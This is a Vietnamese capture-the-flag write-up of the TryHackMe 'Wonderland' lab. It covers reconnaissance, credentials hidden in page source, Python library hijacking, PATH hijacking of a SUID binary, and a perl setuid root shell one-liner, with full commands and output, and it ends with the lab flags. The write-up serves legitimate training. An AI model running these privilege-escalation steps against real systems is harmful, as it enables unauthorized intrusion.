Icon

Wonderland

Fall down the rabbit hole and enter wonderland.

November 4, 2025 July 16, 2025 Medium
Author Author Hung Nguyen Tuong

Initial Reconnaissance

Service Scanning

$ sudo nmap -sS -sV -sC -T4 -vv 10.10.152.65

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 60 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 8e:ee:fb:96:ce:ad:70:dd:05:a9:3b:0d:b0:71:b8:63 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDe20sKMgKSMTnyRTmZhXPxn+xLggGUemXZLJDkaGAkZSMgwM3taNTc8OaEku7BvbOkqoIya4ZI8vLuNdMnESFfB22kMWfkoB0zKCSWzaiOjvdMBw559UkLCZ3bgwDY2RudNYq5YEwtqQMFgeRCC1/rO4h4Hl0YjLJufYOoIbK0EPaClcDPYjp+E1xpbn3kqKMhyWDvfZ2ltU1Et2MkhmtJ6TH2HA+eFdyMEQ5SqX6aASSXM7OoUHwJJmptyr2aNeUXiytv7uwWHkIqk3vVrZBXsyjW4ebxC3v0/Oqd73UWd5epuNbYbBNls06YZDVI8wyZ0eYGKwjtogg5+h82rnWN
|   256 7a:92:79:44:16:4f:20:43:50:a9:a8:47:e2:c2:be:84 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHH2gIouNdIhId0iND9UFQByJZcff2CXQ5Esgx1L96L50cYaArAW3A3YP3VDg4tePrpavcPJC2IDonroSEeGj6M=
|   256 00:0b:80:44:e6:3d:4b:69:47:92:2c:55:14:7e:2a:c9 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAsWAdr9g04J7Q8aeiWYg03WjPqGVS6aNf/LF+/hMyKh
80/tcp open  http    syn-ack ttl 60 Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Follow the white rabbit.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Trong lần scan ban đầu bằng Nmap, chúng ta phát hiện hai cổng mở: SSH trên port 22 và HTTP trên port 80. Phiên bản dịch vụ SSH cho thấy hệ điều hành bên dưới là Ubuntu. Tiêu đề của dịch vụ HTTP trông khá thú vị “Follow the white rabbit.”.

HTTP 80

image.png

image.png

Trang chủ HTTP và phần source code không hé lộ thông tin gì quan trọng.

Directory Enumeration

Chúng ta chạy gobuster để tìm các thư mục hoặc file ẩn.

image.png

Kết quả cho thấy có một thư mục kỳ lạ duy nhất đó là /r.

/r

image.png

Thông tin trên trang khuyên chúng ta nên tiếp tục, nhưng không đưa ra chỉ dẫn cụ thể nào. Vì vậy, chúng ta thử chạy gobuster thêm lần nữa, nhưng lần này bên trong thư mục /r.

image.png

Lần scan này, chúng ta phát hiện thư mục duy nhất là /a.

/r/a

image.png

Một lần nữa, lời nhắn lại bảo ta tiếp tục. Dựa trên gợi ý ở trang chủ là “follow the White Rabbit”, ta có thể đoán đường dẫn cần tìm là /r/a/b/b/i/t.

/r/a/b/b/i/t/

image.png

Phán đoán của chúng ta là chính xác.

Hơn nữa, trong phần source code, chúng ta tìm thấy credentials được giấu đi.

image.png

<p style="display: none;">alice:HowDothTheLittleCrocodileImproveHisShiningTail</p>

Credentials này dường như thuộc về user alice.

Shell as alice

Vì dịch vụ SSH cho phép password authentication, chúng ta có thể SSH vào hệ thống dưới user alice.

image.png

User Enumeration

Khi kiểm tra file /etc/passwd, chúng ta phát hiện thêm ba user khác trên hệ thống, đó là tryhackme, hatter, rabbit.

image.png

Sudo Permissions

User alice có quyền chạy một Python script nằm trong home directory của chính mình với tư cách user rabbit.

alice@wonderland:~$ sudo -l
[sudo] password for alice:
Matching Defaults entries for alice on wonderland:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User alice may run the following commands on wonderland:
    (rabbit) /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py

Root-own Python Script

alice@wonderland:~$ pwd
/home/alice
alice@wonderland:~$ ls -la
total 40
drwxr-xr-x 5 alice alice 4096 May 25  2020 .
drwxr-xr-x 6 root  root  4096 May 25  2020 ..
lrwxrwxrwx 1 root  root     9 May 25  2020 .bash_history -> /dev/null
-rw-r--r-- 1 alice alice  220 May 25  2020 .bash_logout
-rw-r--r-- 1 alice alice 3771 May 25  2020 .bashrc
drwx------ 2 alice alice 4096 May 25  2020 .cache
drwx------ 3 alice alice 4096 May 25  2020 .gnupg
drwxrwxr-x 3 alice alice 4096 May 25  2020 .local
-rw-r--r-- 1 alice alice  807 May 25  2020 .profile
-rw------- 1 root  root    66 May 25  2020 root.txt
-rw-r--r-- 1 root  root  3577 May 25  2020 walrus_and_the_carpenter.py

Khi kiểm tra home folder của alice, chúng ta thấy file root.txt xuất hiện ở đây thay vì nằm trong /root như thường thấy ở các bài khác.

Xem qua Python script, chúng ta thấy nó chỉ đơn giản là in ra 10 dòng ngẫu nhiên từ một bài thơ.

alice@wonderland:~$ cat walrus_and_the_carpenter.py
import random
poem = """The sun was shining on the sea,
Shining with all his might:
He did his very best to make
The billows smooth and bright —
And this was odd, because it was
The middle of the night.

...

"O Oysters," said the Carpenter.
"You’ve had a pleasant run!
Shall we be trotting home again?"
But answer came there none —
And that was scarcely odd, because
They’d eaten every one."""

for i in range(10):
    line = random.choice(poem.split("\n"))
    print("The line was:\t", line)

Từ đây chúng ta có thể nghĩ đến một kỹ thuật tấn công nào đó, nhưng ta cứ đặt nó sang một bên đã.

Possible Privilege Escalation to root

Tiếp theo, chúng ta chuyển LinPEAS sang target để rà soát các vector leo quyền.

image.png

Kết quả cho thấy có hai binary perl trong /usr/bin được gán capability setuid.

image.png

Điều này đồng nghĩa nếu attacker chiếm được bất kỳ user nào thuộc group hatter, họ có thể leo quyền lên root bằng cách lợi dụng 2 binary này với command thích hợp.

image.png

Tuy nhiên, do alice không thuộc group hatter, chúng ta không thể trực tiếp chạy các binary này. Do đó, mục tiêu của chúng ta là tìm cách compromise user hatter.

Shell as rabbit

Khi một Python script chạy và cần import một library, nó sẽ kiểm tra thư mục hiện tại trước để tìm file trùng tên.

Bằng cách khai thác hành vi này, attacker có thể đánh lừa Python interpreter thực thi code tùy ý thông qua kỹ thuật gọi là Library Hijacking.

Trong trường hợp này, chúng ta có thể tạo một library giả mạo tên random ngay trong thư mục hiện tại, rồi chèn code độc hại vào trong hàm choice để thực thi lệnh tùy ý.

for i in range(10):
    line = random.choice(poem.split("\n"))
    print("The line was:\t", line)

Vì user alice có quyền chạy script này với tư cách rabbit, nên chúng ta có thể lợi dụng để leo quyền sang rabbit và chiếm được tài khoản này.

alice@wonderland:~$ cat random.py
import os
c = 0
def choice(_):
    global c
    if c == 0:
        os.system("/bin/bash")
        c+=1
alice@wonderland:~$ sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
rabbit@wonderland:~$ whoami
rabbit

Sau khi compromise thành công user rabbit, chúng ta kiểm tra home directory của user này.

rabbit@wonderland:/home/rabbit$ ls -la
total 40
drwxr-x--- 2 rabbit rabbit  4096 May 25  2020 .
drwxr-xr-x 6 root   root    4096 May 25  2020 ..
lrwxrwxrwx 1 root   root       9 May 25  2020 .bash_history -> /dev/null
-rw-r--r-- 1 rabbit rabbit   220 May 25  2020 .bash_logout
-rw-r--r-- 1 rabbit rabbit  3771 May 25  2020 .bashrc
-rw-r--r-- 1 rabbit rabbit   807 May 25  2020 .profile
-rwsr-sr-x 1 root   root   16816 May 25  2020 teaParty
rabbit@wonderland:/home/rabbit$ file teaParty
teaParty: setuid, setgid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=75a832557e341d3f65157c22fafd6d6ed7413474, not stripped

teaParty Binary

Tại đây, chúng ta phát hiện một ELF binary 64-bit được gán quyền SUID.

rabbit@wonderland:/home/rabbit$ ./teaParty
Welcome to the tea party!
The Mad Hatter will be here soon.
Probably by Fri, 18 Jul 2025 08:27:31 +0000
Ask very nicely, and I will give you some tea while you wait for him

Segmentation fault (core dumped)

Khi chạy thử binary này, output chỉ cho ra lỗi segmentation fault. Tuy nhiên, điều này có thể cho thấy binary tồn tại lỗ hổng hoặc hoạt động bất thường. Chúng ta tải binary này về máy để phân tích thêm.

rabbit@wonderland:/home/rabbit$ python3 -m http.server 1234
Serving HTTP on 0.0.0.0 port 1234 (http://0.0.0.0:1234/) ...
$ wget http://10.10.152.65:1234/teaParty -O teaParty
--2025-07-18 14:37:16--  http://10.10.152.65:1234/teaParty
Connecting to 10.10.152.65:1234... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16816 (16K) [application/octet-stream]
Saving to: ‘teaParty’

teaParty                             100%[===================================================================>]  16.42K  40.2KB/s    in 0.4s

2025-07-18 14:37:17 (40.2 KB/s) - ‘teaParty’ saved [16816/16816]

Sau khi decompile bằng công cụ trực tuyến (https://dogbolt.org/) ta có đoạn code của hàm main() như sau:

int main()
{
    setuid(1003);
    setgid(1003);
    puts("Welcome to the tea party!\nThe Mad Hatter will be here soon.");
    system("/bin/echo -n 'Probably by ' && date --date='next hour' -R");
    puts("Ask very nicely, and I will give you some tea while you wait for him");
    getchar();
    return puts("Segmentation fault (core dumped)");
}

Cả UID và GID đều được set về 1003, tương ứng với user hatter mà chúng ta đã thấy trước đó trong /etc/passwd. Sau đó, chương trình gọi lệnh hệ thống có liên quan đến /bin/echo và binary date. Đáng chú ý, thông báo segmentation fault không phải lỗi thực sự mà chỉ là đoạn output được in ra nhằm đánh lạc hướng phân tích.

Vì binary date không được gọi bằng đường dẫn tuyệt đối, nên khi chạy, chương trình sẽ tìm date trong biến môi trường PATH của user rabbit. Điều này mở ra khả năng tấn công bằng cách tạo một binary giả mạo date trong PATH, từ đó thực thi code tùy ý dưới quyền user hatter.

Shell as hatter

Bằng cách tạo một binary giả mạo date có chức năng spawn một bash shell, chúng ta đã chiếm được user hatter.

rabbit@wonderland:/home/rabbit$ echo '#!/bin/bash' > date
rabbit@wonderland:/home/rabbit$ echo '/bin/bash' >> date
rabbit@wonderland:/home/rabbit$ chmod +x date
rabbit@wonderland:/home/rabbit$ ./teaParty
Welcome to the tea party!
The Mad Hatter will be here soon.
Probably by hatter@wonderland:/home/rabbit$ whoami
hatter
hatter@wonderland:/home/rabbit$ id
uid=1003(hatter) gid=1002(rabbit) groups=1002(rabbit)

Tuy nhiên, binary này gặp vấn đề khi set cả UID và GID về 1003. UID đã được chuyển đúng sang user hatter, nhưng GID vẫn giữ nguyên ở 1002, tức là group của rabbit. Vì vậy tại thời điểm này, chúng ta chưa thể thực thi các binary perl với setuid capability.

hatter@wonderland:/home/hatter$ ls -la /usr/bin/perl
-rwxr-xr-- 2 root hatter 2097720 Nov 19  2018 /usr/bin/perl
hatter@wonderland:/home/hatter$ /usr/bin/perl
bash: /usr/bin/perl: Permission denied

Plaintext Password Disclosure

Khi kiểm tra home directory của hatter, chúng ta phát hiện một plain-text password. Và đây chính là password của user hatter khi ta có thể chạy được sudo -l.

hatter@wonderland:/home$ cd hatter
hatter@wonderland:/home/hatter$ ls -la
total 28
drwxr-x--- 3 hatter hatter 4096 May 25  2020 .
drwxr-xr-x 6 root   root   4096 May 25  2020 ..
lrwxrwxrwx 1 root   root      9 May 25  2020 .bash_history -> /dev/null
-rw-r--r-- 1 hatter hatter  220 May 25  2020 .bash_logout
-rw-r--r-- 1 hatter hatter 3771 May 25  2020 .bashrc
drwxrwxr-x 3 hatter hatter 4096 May 25  2020 .local
-rw-r--r-- 1 hatter hatter  807 May 25  2020 .profile
-rw------- 1 hatter hatter   29 May 25  2020 password.txt
hatter@wonderland:/home/hatter$ cat password.txt
WhyIsARavenLikeAWritingDesk?

Sudo Permissions

hatter@wonderland:/home/hatter$ sudo -l
[sudo] password for hatter:
Sorry, user hatter may not run sudo on wonderland.

hatter không có quyền chạy sudo trên target.

Sau khi đăng nhập vào SSH bằng password này, chúng ta đã hoàn toàn compromise được tài khoản hatter.

$ ssh hatter@10.10.152.65
hatter@10.10.152.65's password:
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-101-generic x86_64)
...
hatter@wonderland:~$ whoami
hatter
hatter@wonderland:~$ id
uid=1003(hatter) gid=1003(hatter) groups=1003(hatter)

Shell as root

Từ đây, việc chiếm quyền root trở nên khả thi. Chúng ta chỉ cần chạy lệnh perl với setuid capability như đã phát hiện trước đó, và thành công leo quyền thành công lên root.

/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
hatter@wonderland:~$ ls -la /usr/bin/perl*
-rwxr-xr-- 2 root hatter 2097720 Nov 19  2018 /usr/bin/perl
-rwxr-xr-x 1 root root     10216 Nov 19  2018 /usr/bin/perl5.26-x86_64-linux-gnu
-rwxr-xr-- 2 root hatter 2097720 Nov 19  2018 /usr/bin/perl5.26.1
-rwxr-xr-x 2 root root     45853 Nov 19  2018 /usr/bin/perlbug
-rwxr-xr-x 1 root root       125 Nov 19  2018 /usr/bin/perldoc
-rwxr-xr-x 1 root root     10864 Nov 19  2018 /usr/bin/perlivp
-rwxr-xr-x 2 root root     45853 Nov 19  2018 /usr/bin/perlthanks
hatter@wonderland:~$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
## whoami
root
## id
uid=0(root) gid=1003(hatter) groups=1003(hatter)

root.txt

## cd /home/alice
## cat root.txt
thm{Twinkle, twinkle, little bat! How I wonder what you’re at!}

user.txt

## cd /
## ls
bin   cdrom  etc   initrd.img      lib    lost+found  mnt  proc  run   srv       sys  usr  vmlinuz
boot  dev    home  initrd.img.old  lib64  media       opt  root  sbin  swap.img  tmp  var  vmlinuz.old
## cd root
## ls -la
total 28
drwx--x--x  4 root root 4096 May 25  2020 .
drwxr-xr-x 23 root root 4096 May 25  2020 ..
lrwxrwxrwx  1 root root    9 May 25  2020 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Apr  9  2018 .bashrc
drwxr-xr-x  3 root root 4096 May 25  2020 .local
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
drwx------  2 root root 4096 May 25  2020 .ssh
-rw-r--r--  1 root root   32 May 25  2020 user.txt
## cat user.txt
thm{"Curiouser and curiouser!"}